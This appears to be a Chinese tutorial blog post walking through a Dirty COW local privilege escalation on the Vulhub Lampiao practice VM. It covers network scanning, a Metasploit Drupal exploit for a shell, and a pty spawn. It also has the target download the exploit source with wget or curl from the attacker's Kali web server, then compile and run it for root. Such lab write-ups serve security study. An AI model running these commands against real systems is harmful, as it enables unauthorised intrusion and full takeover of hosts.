Linux系统提权

Linux系统提权

主题:脏牛漏洞提权

环境准备:靶场:Vulhub Lampiao(脏牛漏洞),Ubuntu-19.04-desktop-amd64.iso(用于sudo命令提权测试)

目标:目前只拥有Linux主机的普通用户权限,如何才能够获得系统root权限

脏牛漏洞的概念:它是一种存在于linux操作系统中的本地提权漏洞,共分为1.0和2.0的版本,当Linux系统内核版本高于4.8以上时,使用脏牛2.0版本;当Linux系统内核版本低于4.8时,则使用1.0版本。

那它的原理又是怎样的?

当一个进程正在尝试修改其映射的只读内存页面时,另一个进程也在同时访问此页面。在这样的情况下内核可能会出现一种"竞争条件",这种条件导致两个进程都能看到对方的修改,甚至可能覆盖对方的数据。这就为攻击者提供了机会,使其能够在没有权限限制的情况下,通过构造特殊的操作序列,使正在运行的程序以更高的权限执行命令,从而达到提权的效果。**

攻击步骤复现:

  1. 打开Vulhub Lampiao虚拟机,可以看到Linux标志性的黑窗口:
  1. 在不知晓登录账号密码的情况下,尝试信息收集查找突破口,回到Kali Linux中执行nmap命令对同网段进行ip和端口扫描:

nmap 192.168.78.0/24

根据自己的虚拟机网段查看主机ip: 192.168.78.1为物理机ip,192.168.78.130为kali linux虚拟机ip,可疑的只有192.168.78.142这台。接下来就可以针对这台主机进行全端口扫描:

nmap -p- 192.168.78.142

  1. 可以看到全端口扫描能够扫出普通扫描扫不出的端口,注意这边有一个1898端口是open状态。尝试打开浏览器访问192.168.78.142:1898

这边出现一个登录窗口,可以往CMS架构方向突破,那接下来该寻找哪些关键信息?滚动到页面最底处,看到Power By Drupal,可以断定该网站就是Drupal的架构。

  1. 利用msfconsole漏洞框架利用工具控制台,搜索Drupal的有关漏洞利用信息:

Name列包含auxiliary的代表是检测漏洞模块,exploit则是实际攻击模块,在此选择一个较新的攻击模块:

msf6 > use 1

show options

每次攻击前需要确认所有Required = Yes处的选项设置,这里需要设置目标靶机的ip和端口,刚才的信息收集中得到ip=192.168.78.142,port=1898。

set RHOSTS 192.168.78.142

set RPORT 1898

show options

设置完成后再次确认选项是否就绪:

run

运行后发现会话已经建立:

meterpreter > shell

Process 2364 created.

Channel 0 created.

这个时候其实已经通过msf连入了目标靶机服务器的shell了,我们可以通过python语句呼出交互式终端:

python -c 'import pty; pty.spawn("/bin/bash")'

  1. 查看Linux内核命令版本,选择对应的脏牛版本:

这里是4.4的版本,那我们使用脏牛1.0版本进行提权。

到这一步,我们的目标是把本地的Dirty.cpp文件上传到目标靶机上去。有一个问题,那就是不能直接从物理主机(windows)上传文件到目标靶机,它们之间没有任何联络,原因是我并不知道Ubuntu靶机的root账号密码,无法启动ssh随即通过XFTP共享文件。 但是物理主机和Kali Linux虚拟机是我可控的,因此我先把文件上传到Kali Linux的Apache网站根目录/var/www/html/,再通过msf已建立的shell会话使用wget下载到靶机本地,相当于靶机向Kali Linux请求下载文件。

wget http://192.168.78.130:80/Dirty.cpp 或者

curl http://192.168.78.130:80/Dirty.cpp -o Dirty.cpp

此时在靶机得/tmp目录下已经成功保存Dirty.cpp文件。

  1. 由于.cpp为(C/C++)语言文件,在Linux系统中需要通过编译才能运行:

g++ -wall -pedantic -O2 -std=C++11 -pthread -o dcow Dirty.cpp -lutil

编译完成后,在同目录会生成一个dcow文件,能够直接被Linux系统执行:

  1. 执行语句进行提权:

./dcow -s

成功执行,喜提root权限。

【扩展学习】脏牛2.0版本复现步骤 www.cnblogs.com/nanhe7/arti...

【复现步骤总结】

  1. 搭建靶场,信息收集ip和port;
  2. 尝试访问,进一步获得产品关键信息Drupal;
  3. 启动msfconsole,搜索关于Drupal漏洞利用信息;
  4. 设置参数,执行获得靶机shell;
  5. 查看内核版本,挑选脏牛版本,上传文件;
  6. 编译后执行,提权成功。

如果可以尽量避免使用脏牛漏洞,原因是它可能会使计算机崩溃或使其处于不稳定状态。

相关推荐
BullSmall6 小时前
第三方软件安全-Dependency‑Track Docker 部署
安全·docker·容器
AImatters7 小时前
国产算力底座,支撑油气储运数字化迈过关键分水岭
安全·cpu·算力·海光·油气储运
叠叠乐10 小时前
中国移动家庭云电脑window关闭所有安全脚本
安全
Jmyd012310 小时前
实训室的 3D 模型涉及肖像文物,数据安全与合规怎么做?
安全·3d·数据安全·虚拟实训
芯盾时代10 小时前
《金融业网络安全管理办法(征求意见稿)》全条款深度拆解(三)
网络·安全·网络安全
敢敢是只喵i11 小时前
一个本地 AI Agent 要操作多个门店或 SaaS 账号,应该怎样安全切换身份?
人工智能·安全·ai·系统架构·业界资讯
Acrel123411 小时前
DC800V 大规模落地,算力机房安全该如何保障
安全
其实防守也摸鱼12 小时前
权限提升与横向移动:从内网渗透到域控的完整技术图谱
运维·服务器·数据库·安全·github·copilot·渗透
深圳海导科技12 小时前
资产防盗追踪系统:物联网高价值资产安全管理|海导科技navynav
科技·物联网·安全
波多利希最高礼仪的握力器12 小时前
安全复制SCP
linux·服务器·安全